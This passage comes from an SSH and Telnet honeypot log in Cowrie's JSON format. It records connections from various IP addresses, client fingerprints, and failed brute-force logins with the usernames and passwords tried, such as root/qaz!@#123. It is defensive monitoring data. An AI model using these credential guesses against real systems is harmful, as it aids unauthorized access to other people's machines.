-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:00.466776Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nikanika","message":"login attempt [admin/nikanika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:00.946030Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nfnfhby","message":"login attempt [admin/nfnfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:02.055432Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nesterov","message":"login attempt [admin/nesterov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:03.160894Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"negril","message":"login attempt [admin/negril] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:04.266369Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nbViBt","message":"login attempt [admin/nbViBt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:05.371414Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:06.478577Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":35378,"dst_ip":"10.17.0.5","dst_port":22,"session":"916b632c73da","protocol":"ssh","message":"New connection: 103.84.236.222:35378 (10.17.0.5:22) [session: 916b632c73da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:10.058388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:10.063434Z","src_ip":"103.84.236.222","session":"916b632c73da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:10.297962Z","src_ip":"103.84.236.222","session":"916b632c73da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz!@#123","message":"login attempt [root/qaz!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:11.260583Z","src_ip":"103.84.236.222","session":"916b632c73da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:12.496528Z","src_ip":"103.84.236.222","session":"916b632c73da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26068,"dst_ip":"159.203.135.109","dst_port":22,"session":"39bbfeb03a27","protocol":"ssh","message":"New connection: 194.59.206.2:26068 (159.203.135.109:22) [session: 39bbfeb03a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:15.873955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:15.879126Z","src_ip":"194.59.206.2","session":"39bbfeb03a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:15.960664Z","src_ip":"194.59.206.2","session":"39bbfeb03a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:16.048956Z","src_ip":"194.59.206.2","session":"39bbfeb03a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":62479,"dst_ip":"159.203.135.109","dst_port":22,"session":"38cfbb5b34e9","protocol":"ssh","message":"New connection: 79.127.181.103:62479 (159.203.135.109:22) [session: 38cfbb5b34e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:24.629825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:24.834603Z","src_ip":"79.127.181.103","session":"38cfbb5b34e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:25.029251Z","src_ip":"79.127.181.103","session":"38cfbb5b34e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:25.034975Z","src_ip":"79.127.181.103","session":"38cfbb5b34e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.105.69","src_port":36902,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecb42730231","protocol":"ssh","message":"New connection: 180.76.105.69:36902 (10.17.0.5:22) [session: 7ecb42730231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:47.653694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:47.658738Z","src_ip":"180.76.105.69","session":"7ecb42730231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:47.915287Z","src_ip":"180.76.105.69","session":"7ecb42730231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.118.21","src_port":37725,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff55d0f7242","protocol":"telnet","message":"New connection: 37.186.118.21:37725 (159.203.135.109:23) [session: bff55d0f7242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:50.660586Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.119.49","src_port":51647,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b13b2b38a2","protocol":"telnet","message":"New connection: 37.186.119.49:51647 (159.203.135.109:23) [session: b7b13b2b38a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:52.059154Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7942,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd247a3ebd8","protocol":"telnet","message":"New connection: 212.55.149.117:7942 (10.17.0.5:23) [session: 3cd247a3ebd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:53.736072Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.208","src_port":43226,"dst_ip":"10.17.0.5","dst_port":22,"session":"1098c82f4d6b","protocol":"ssh","message":"New connection: 45.153.34.208:43226 (10.17.0.5:22) [session: 1098c82f4d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.387008Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.394853Z","src_ip":"45.153.34.208","session":"1098c82f4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.208","src_port":43238,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e5f3fd505e7","protocol":"ssh","message":"New connection: 45.153.34.208:43238 (10.17.0.5:22) [session: 5e5f3fd505e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.591068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.595267Z","src_ip":"45.153.34.208","session":"5e5f3fd505e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.677635Z","src_ip":"45.153.34.208","session":"5e5f3fd505e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357","message":"login attempt [root/159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:54.968050Z","src_ip":"45.153.34.208","session":"5e5f3fd505e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:56.056112Z","src_ip":"45.153.34.208","session":"5e5f3fd505e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password12345678","message":"login attempt [deploy/password12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:58.121275Z","src_ip":"180.76.105.69","session":"7ecb42730231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:58.127233Z","src_ip":"180.76.105.69","session":"7ecb42730231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":51868,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc95f30aab2d","protocol":"ssh","message":"New connection: 103.84.236.222:51868 (10.17.0.5:22) [session: dc95f30aab2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:08.139220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:08.144512Z","src_ip":"103.84.236.222","session":"dc95f30aab2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:08.382113Z","src_ip":"103.84.236.222","session":"dc95f30aab2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mh123456","message":"login attempt [root/Mh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:09.345972Z","src_ip":"103.84.236.222","session":"dc95f30aab2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:10.582333Z","src_ip":"103.84.236.222","session":"dc95f30aab2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.105.69","src_port":52052,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e4f3e98498c","protocol":"ssh","message":"New connection: 180.76.105.69:52052 (10.17.0.5:22) [session: 9e4f3e98498c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:16.760005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:16.765112Z","src_ip":"180.76.105.69","session":"9e4f3e98498c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:17.985662Z","src_ip":"180.76.105.69","session":"9e4f3e98498c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.123","message":"login attempt [root/admin.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:18.742639Z","src_ip":"180.76.105.69","session":"9e4f3e98498c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:20.001119Z","src_ip":"180.76.105.69","session":"9e4f3e98498c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.68168354034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:21.342137Z","src_ip":"37.186.118.21","session":"bff55d0f7242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717676877975464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:23:22.776723Z","src_ip":"37.186.119.49","session":"b7b13b2b38a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad5583f065c","protocol":"telnet","message":"New connection: 129.232.238.42:55056 (159.203.135.109:23) [session: 4ad5583f065c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:05.820927Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"20849190876f","protocol":"ssh","message":"New connection: 103.84.236.222:40124 (10.17.0.5:22) [session: 20849190876f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:06.948978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:06.954103Z","src_ip":"103.84.236.222","session":"20849190876f","protocol":"ssh"}
